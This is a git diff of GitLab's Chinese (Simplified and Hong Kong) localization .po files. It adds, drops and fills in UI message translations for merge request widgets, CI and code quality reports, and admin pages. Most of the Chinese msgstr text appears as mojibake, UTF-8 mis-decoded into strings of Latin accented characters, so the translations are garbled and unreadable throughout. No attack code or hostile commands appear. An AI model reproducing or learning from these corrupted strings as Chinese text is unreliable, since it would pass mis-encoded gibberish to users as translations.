msgid "cannot be used for user namespace"
-msgstr ""
+msgstr "ä¸èƒ½ç”¨äºŽç”¨æˆ·å‘½å空间"
msgid "cannot block others"
msgstr "ä¸ä¼šé˜»å¡žå…¶ä»–"
@@ -39924,7 +40572,7 @@ msgid "ciReport|%{linkStartTag}Learn more about codequality reports %{linkEndTag
msgstr "%{linkStartTag}了解有关代ç è´¨é‡æŠ¥å‘Šçš„更多信æ¯%{linkEndTag}"
msgid "ciReport|%{prefix} %{strongStart}%{score}%{strongEnd} %{delta} %{deltaPercent} in %{path}"
-msgstr ""
+msgstr "%{prefix} %{strongStart}%{score}%{strongEnd} %{delta} %{deltaPercent} 于 %{path}"
msgid "ciReport|%{remainingPackagesCount} more"
msgstr "还有%{remainingPackagesCount} 个"
@@ -39963,17 +40611,17 @@ msgid "ciReport|Base pipeline codequality artifact not found"
msgstr "找ä¸åˆ°åŸºå‡†æµæ°´çº¿ä»£ç è´¨é‡äº§ç‰©"
msgid "ciReport|Browser Performance"
-msgstr ""
+msgstr "æµè§ˆå™¨æ€§èƒ½"
msgid "ciReport|Browser performance test metrics results are being parsed"
-msgstr ""
+msgstr "正在解æžæµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡ç»“æžœ"
msgid "ciReport|Browser performance test metrics: "
msgstr "æµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡: "
msgid "ciReport|Browser performance test metrics: %{strongStart}%{changesFound}%{strongEnd} change"
msgid_plural "ciReport|Browser performance test metrics: %{strongStart}%{changesFound}%{strongEnd} changes"
-msgstr[0] ""
+msgstr[0] "æµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡ï¼š%{strongStart}%{changesFound}%{strongEnd} 个更改"
msgid "ciReport|Browser performance test metrics: No changes"
msgstr "æµè§ˆå™¨æ€§èƒ½æµ‹è¯•æŒ‡æ ‡ï¼šæ— å˜åŒ–"
@@ -39985,13 +40633,13 @@ msgid "ciReport|Cluster Image Scanning"
msgstr "集群镜åƒæ‰«æ"
msgid "ciReport|Code quality degraded"
-msgstr ""
+msgstr "代ç è´¨é‡ä¸‹é™äº†"
msgid "ciReport|Code quality improved"
-msgstr ""
+msgstr "代ç è´¨é‡æå‡äº†"
msgid "ciReport|Code quality scanning detected %{issueCount} changes in merged results"
-msgstr ""
+msgstr "代ç è´¨é‡æ‰«æ在åˆå¹¶ç»“果中检测到 %{issueCount} 个更改"
msgid "ciReport|Container Scanning"
msgstr "容器扫æ"
@@ -40044,6 +40692,9 @@ msgstr "动æ€åº”用程åºå®‰å…¨æµ‹è¯•ï¼ˆDAST)å¯æ£€æµ‹Web应用程åºä¸­çš„å·
msgid "ciReport|Failed to load %{reportName} report"
msgstr "无法加载 %{reportName} 报告"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr "已修å¤"
@@ -40053,18 +40704,21 @@ msgstr "已修å¤:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "找到%{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "通过创建议题æ¥è°ƒæŸ¥æ­¤æ¼æ´ž"
msgid "ciReport|Load Performance"
-msgstr ""
+msgstr "负载性能"
msgid "ciReport|Load performance test metrics detected %{strongStart}%{changesFound}%{strongEnd} change"
msgid_plural "ciReport|Load performance test metrics detected %{strongStart}%{changesFound}%{strongEnd} changes"
-msgstr[0] ""
+msgstr[0] "负载性能测试指标检测到 %{strongStart}%{changesFound}%{strongEnd} 个å˜åŒ–"
msgid "ciReport|Load performance test metrics results are being parsed"
-msgstr ""
+msgstr "正在解æžæ€§èƒ½æµ‹è¯•æŒ‡æ ‡ç»“æžœ"
msgid "ciReport|Load performance test metrics: "
msgstr "负载性能测试指标:"
@@ -40075,6 +40729,9 @@ msgstr "负载性能测试指标:无å˜åŒ–"
msgid "ciReport|Loading %{reportName} report"
msgstr "载入%{reportName} 报告"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "管ç†è®¸å¯è¯"
@@ -40100,10 +40757,10 @@ msgid "ciReport|Secret Detection"
msgstr "密ç æ£€æµ‹"
msgid "ciReport|Secret Detection detects secrets and credentials vulnerabilities in your source code."
-msgstr ""
+msgstr "Secret 检测在æºä»£ç ä¸­æ£€æµ‹ Secrets 和凭æ®æ¼æ´žã€‚"
msgid "ciReport|Secret detection"
-msgstr ""
+msgstr "Secret 检测"
msgid "ciReport|Security scanning"
msgstr "安全扫æ"
@@ -40111,6 +40768,9 @@ msgstr "安全扫æ"
msgid "ciReport|Security scanning failed loading any results"
msgstr "安全扫æ无法加载任何结果"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "解决方案"
@@ -40221,10 +40881,10 @@ msgid "container_name cannot be larger than %{max_length} chars"
msgstr "container_nameä¸èƒ½è¶…过%{max_length}个字符"
msgid "contains URLs that exceed the 1024 character limit (%{urls})"
-msgstr ""
+msgstr "包å«è¶…过 1024 个字符é™åˆ¶çš„ URL (%{urls})"
msgid "contains invalid URLs (%{urls})"
-msgstr ""
+msgstr "包å«æ— æ•ˆ URL (%{urls})"
msgid "contribute to this project."
msgstr "为此项目åšå‡ºè´¡çŒ®ã€‚"
@@ -40294,10 +40954,10 @@ msgid "does not have a supported extension. Only %{extension_list} are supported
msgstr "当å‰æ‰©å±•åä¸æ”¯æŒã€‚åªæ”¯æŒ%{extension_list}"
msgid "does not match dast_site.project"
-msgstr ""
+msgstr "与 dast_site.project ä¸åŒ¹é…"
msgid "does not match dast_site_validation.project"
-msgstr ""
+msgstr "与 dast_site_validation.project ä¸åŒ¹é…"
msgid "download it"
msgstr "下载"
@@ -40313,7 +40973,7 @@ msgid "element is not a hierarchy"
msgstr "此元素并éžç¾¤ç»„层级"
msgid "eligible users"
-msgstr ""
+msgstr "符åˆæ¡ä»¶çš„用户"
msgid "email '%{email}' is not a verified email."
msgstr "邮箱“%{email}â€è¿˜æœªè¢«éªŒè¯ã€‚"
@@ -40352,7 +41012,7 @@ msgid "example.com"
msgstr "example.com"
msgid "exceeds the %{max_value_length} character limit"
-msgstr ""
+msgstr "超过 %{max_value_length} 个字符的é™åˆ¶"
msgid "exceeds the limit of %{bytes} bytes"
msgstr "超过%{bytes}字节的é™åˆ¶"
@@ -40476,21 +41136,9 @@ msgstr "导入æµç¨‹"
msgid "in"
msgstr "于"
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr "在 Infrastructure :: Kubernetes clusters"
-
-msgid "in all GitLab"
-msgstr "在此GitLab实例中ä¸è¢«å…许。"
-
-msgid "in group"
-msgstr "在群组中"
-
msgid "in group %{link_to_group}"
msgstr "在 %{link_to_group} 群组"
-msgid "in project"
-msgstr "在项目中"
-
msgid "in project %{link_to_project}"
msgstr "在 %{link_to_project} 项目"
@@ -40550,10 +41198,10 @@ msgid "is not in the group enforcing Group Managed Account"
msgstr "ä¸åœ¨å¼ºåˆ¶æ‰§è¡Œç¾¤ç»„托管账户的群组"
msgid "is not in the member group"
-msgstr ""
+msgstr "ä¸åœ¨æˆå‘˜ç»„"
msgid "is not the member project"
-msgstr ""
+msgstr "ä¸åœ¨æˆå‘˜é¡¹ç›®"
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr "无效。迭代群组必须与迭代周期组匹é…。"
@@ -40642,9 +41290,6 @@ msgstr "被 %{path_lock_user_name} 在 %{created_at} é”定"
msgid "log in"
msgstr "登录"
-msgid "managed"
-msgstr "托管的"
-
msgid "manual"
msgstr "手动"
@@ -40673,15 +41318,15 @@ msgstr "更多信æ¯"
msgid "most recent deployment"
msgstr "最近的部署"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} 和 %{mergeCommitCount} 将被添加到 %{targetBranch}。"
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} 将添加到 %{targetBranch}。"
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1个åˆå¹¶æ交"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr "æ­¤åˆå¹¶è¯·æ±‚ä¸åŒ…å«ä»»ä½•æ›´æ”¹ã€‚"
@@ -40691,6 +41336,9 @@ msgstr "使用åˆå¹¶è¯·æ±‚å‘您的项目æ出更改建议并与您的团队讨
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "请æ¢å¤æ­¤åˆ†æ”¯æˆ–使用其他的 %{missingBranchName} 分支"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr "mrWidget|%{linkStart}现在设置%{linkEnd} æ¥åˆ†æžæ‚¨çš„æºä»£ç ä¸­å·²çŸ¥çš„安全æ¼æ´žã€‚"
@@ -40709,11 +41357,8 @@ msgstr "%{metricsLinkStart} 内存 %{metricsLinkEnd} å ç”¨ %{emphasisStart} 上
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} 内存 %{metricsLinkEnd} å ç”¨ %{emphasisStart} æ— å˜åŒ– %{emphasisEnd}, ä¿æŒåœ¨ %{memoryFrom}MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr "当å‰%{prefixToLinkStart}æ— æµæ°´çº¿%{prefixToLinkEnd},å¯é€šè¿‡%{addPipelineLinkStart}添加.gitlab-ci.yml æ–‡%{addPipelineLinkEnd}æ¥åˆ›å»ºä¸€ä¸ªã€‚"
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
-msgstr ""
+msgstr "åˆå¹¶é˜Ÿåˆ—是等待åˆå¹¶åˆ°ç›®æ ‡åˆ†æ”¯çš„åˆå¹¶è¯·æ±‚列表。æ¯ä¸ªåˆå¹¶è¯·æ±‚中的å˜åŠ¨ä¸Žå…ˆå‰åˆå¹¶è¯·æ±‚中的å˜åŠ¨ç›¸ç»“åˆï¼Œç„¶åŽåœ¨åˆå¹¶å‰è¿›è¡Œæµ‹è¯•ã€‚"
msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
msgstr "æ–°åˆå¹¶åˆ—车已ç»å¯åŠ¨ï¼Œæ­¤åˆå¹¶è¯·æ±‚ä½äºŽåˆå¹¶é˜Ÿåˆ—中的第一ä½ã€‚"
@@ -40749,13 +41394,10 @@ msgid "mrWidget|Approved by"
msgstr "核准人:"
msgid "mrWidget|Approved by you"
-msgstr ""
+msgstr "由您核准"
msgid "mrWidget|Approved by you and others"
-msgstr ""
-
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr "您会增加技术债务或引入代ç æ¼æ´žå—?"
+msgstr "由您或其他人核准"
msgid "mrWidget|Cancel auto-merge"
msgstr "å–消自动åˆå¹¶"
@@ -40788,6 +41430,9 @@ msgstr "创建议题æ¥è§£å†³æ‰€æœ‰ä¸»é¢˜"
msgid "mrWidget|Delete source branch"
msgstr "删除æºåˆ†æ”¯"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "部署统计信æ¯å½“å‰ä¸å¯ç”¨"
@@ -40797,12 +41442,18 @@ msgstr "未关闭"
msgid "mrWidget|Dismiss"
msgstr "关闭"
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "通过电å­é‚®ä»¶å‘出补ä¸"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "无法加载部署统计信æ¯"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr "éšè— %{widget} 的详细信æ¯"
@@ -40816,7 +41467,7 @@ msgid "mrWidget|Jump to first unresolved thread"
msgstr "跳转到第一个未解决的主题"
msgid "mrWidget|Learn more"
-msgstr ""
+msgstr "了解更多"
msgid "mrWidget|Loading deployment statistics"
msgstr "加载部署统计信æ¯ä¸­"
@@ -40837,21 +41488,36 @@ msgstr "åˆå¹¶"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr "åˆå¹¶è¢«é˜»æ­¢ï¼šå¿…须解决所有主题。"
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "åˆå¹¶è¢«é˜»æ­¢ï¼šå¿«è¿›åˆå¹¶æ˜¯ä¸å¯èƒ½çš„。è¦åˆå¹¶è¿™ä¸ªè¯·æ±‚,首先在本地å˜åŸºã€‚"
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr "åˆå¹¶è¢«é˜»æ­¢ï¼šæµæ°´çº¿å¿…é¡»æˆåŠŸã€‚等待手动完æˆæ“作。"
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "åˆå¹¶å¤±è´¥ã€‚"
msgid "mrWidget|Merge locally"
msgstr "本地åˆå¹¶"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "åˆå¹¶è€…:"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr "åˆå¹¶ä¸­ï¼æ­£åœ¨å‘é€æ›´æ”¹â€¦"
@@ -40864,6 +41530,15 @@ msgstr "åˆå¹¶ä¸­ï¼è¯·ç¨åŽâ€¦"
msgid "mrWidget|Merging! Everything's good…"
msgstr "正在åˆå¹¶ï¼ä¸€åˆ‡éƒ½å¾ˆå¥½â€¦"
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr "åˆå¹¶ä¸­ï¼è¯·ç¨åŽâ€¦"
@@ -40903,9 +41578,6 @@ msgstr "请求åˆå¹¶"
msgid "mrWidget|Resolve conflicts"
msgstr "解决冲çª"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "请解决这些冲çªæˆ–请具有仓库写入æƒé™çš„用户在本地进行åˆå¹¶"
-
msgid "mrWidget|Revert"
msgstr "还原"
@@ -40936,9 +41608,6 @@ msgstr "更改已åˆå¹¶åˆ°"
msgid "mrWidget|The changes were not merged into"
msgstr "更改未åˆå¹¶åˆ°"
-msgid "mrWidget|The changes will be merged into"
-msgstr "更改将被åˆå¹¶åˆ°"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr "æ­¤åˆå¹¶è¯·æ±‚çš„æµæ°´çº¿æœªå®Œæˆã€‚推é€æ–°çš„æ交以修å¤å¤±è´¥ï¼Œæˆ–检查 %{linkStart}故障排查文档%{linkEnd} 以查看其它å¯èƒ½çš„æ“作。"
@@ -40954,38 +41623,29 @@ msgstr "æºåˆ†æ”¯æ˜¯ %{link} 的目标分支"
msgid "mrWidget|The source branch is being deleted"
msgstr "æºåˆ†æ”¯æ­£åœ¨åˆ é™¤"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "æºåˆ†æ”¯å°†è¢«åˆ é™¤"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "æºåˆ†æ”¯å°†ä¸ä¼šè¢«åˆ é™¤"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "存在åˆå¹¶å†²çª"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "该åˆå¹¶è¯·æ±‚未能自动åˆå¹¶"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "该项目已存档,ç¦æ­¢å†™å…¥"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr "è¦æ‰¹å‡†æ­¤åˆå¹¶è¯·æ±‚,请输入您的密ç ã€‚此项目需è¦æ‰€æœ‰æ‰¹å‡†æ‰èƒ½è®¤è¯ã€‚"
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
-msgstr "è¦åˆå¹¶ï¼Œå¿…须在标题或æ述中æ到Jira议题的key。"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
-msgstr "使用%{linkStart}CIæµæ°´çº¿æµ‹è¯•ä½ çš„代ç %{linkEnd},åªéœ€ç®€å•åœ°å‘项目添加一个GitLab CIé…置文件。åªéœ€è¦ä¸€åˆ†é’Ÿï¼Œå°±å¯ä»¥ä½¿ä½ çš„代ç çš„更加安全å¯é ã€‚"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr "您å¯ä»¥åœ¨åˆ é™¤æ‹’ç»çš„许å¯è¯åŽåˆå¹¶"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr "è¦åˆå¹¶ï¼Œå¿…须在标题或æ述中æ到Jira议题的key。"
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr "您åªèƒ½åœ¨è¿™ä¸ªåˆå¹¶è¯·æ±‚获得批准åŽè¿›è¡Œåˆå¹¶ã€‚"
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
+msgstr ""
+
+msgid "mrWidget|What is a merge train?"
+msgstr "什么是åˆå¹¶é˜Ÿåˆ—?"
msgid "mrWidget|Your password"
msgstr "您的密ç "
@@ -41030,10 +41690,10 @@ msgid "must be unique by status and elapsed time within a policy"
msgstr "必须在策略中的状æ€å’Œç»è¿‡æ—¶é—´ä¸Šæ˜¯å”¯ä¸€çš„"
msgid "must have a repository"
-msgstr ""
+msgstr "必须有一个仓库"
msgid "must match %{association}.project_id"
-msgstr ""
+msgstr "å¿…é¡»åŒ¹é… %{association}.project_id"
msgid "my-awesome-group"
msgstr "my-awesome-group"
@@ -41111,7 +41771,7 @@ msgid "originating vulnerability"
msgstr "åˆå§‹æ¼æ´ž"
msgid "other card matches"
-msgstr ""
+msgstr "其他å¡ç‰‡åŒ¹é…"
msgid "out of %d total test"
msgid_plural "out of %d total tests"
@@ -41145,6 +41805,18 @@ msgstr "æµæ°´çº¿"
msgid "pipeline schedules documentation"
msgstr "æµæ°´çº¿è®¡åˆ’文件"
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr "pod_nameåªèƒ½åŒ…å«å°å†™å­—æ¯ï¼Œæ•°å­—,'-'å’Œ'.',并且必须以字æ¯å’Œæ•°å­—字符开头和结尾"
@@ -41322,9 +41994,6 @@ msgstr "登录"
msgid "smartcn custom analyzer"
msgstr "smartcn自定义分æžå™¨"
-msgid "sort:"
-msgstr "排åºï¼š"
-
msgid "source"
msgstr "æº"
@@ -41349,6 +42018,9 @@ msgstr "开始于%{timebox_start_date}"
msgid "starts on %{timebox_start_date}"
msgstr "开始于%{timebox_start_date}"
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "阻塞"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index 23e48f08c27..502826a5b76 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 個已修復測試çµæžœ"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d 指標"
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -342,6 +351,12 @@ msgstr[0] "為æ高é é¢åŠ è¼‰é€Ÿåº¦åŠæ€§èƒ½ï¼Œå·²çœç•¥äº† %s 次æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] "éœ€è¦ %{count} 個由 %{name} 的批准"
msgid "%{count} approvals from %{name}"
msgstr "éœ€è¦ %{count} 個由 %{name} 的批准"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1043,6 +1068,10 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr "或"
@@ -1369,9 +1404,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "將會å†å‰µå»ºä¸€å€‹æ–°çš„分支,並建立一個新的åˆä½µè«‹æ±‚。"
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr "å­˜å–憑證 (access token)"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "新增表格"
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr ""
msgid "Add new directory"
msgstr "添加新目錄"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,7 +2130,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
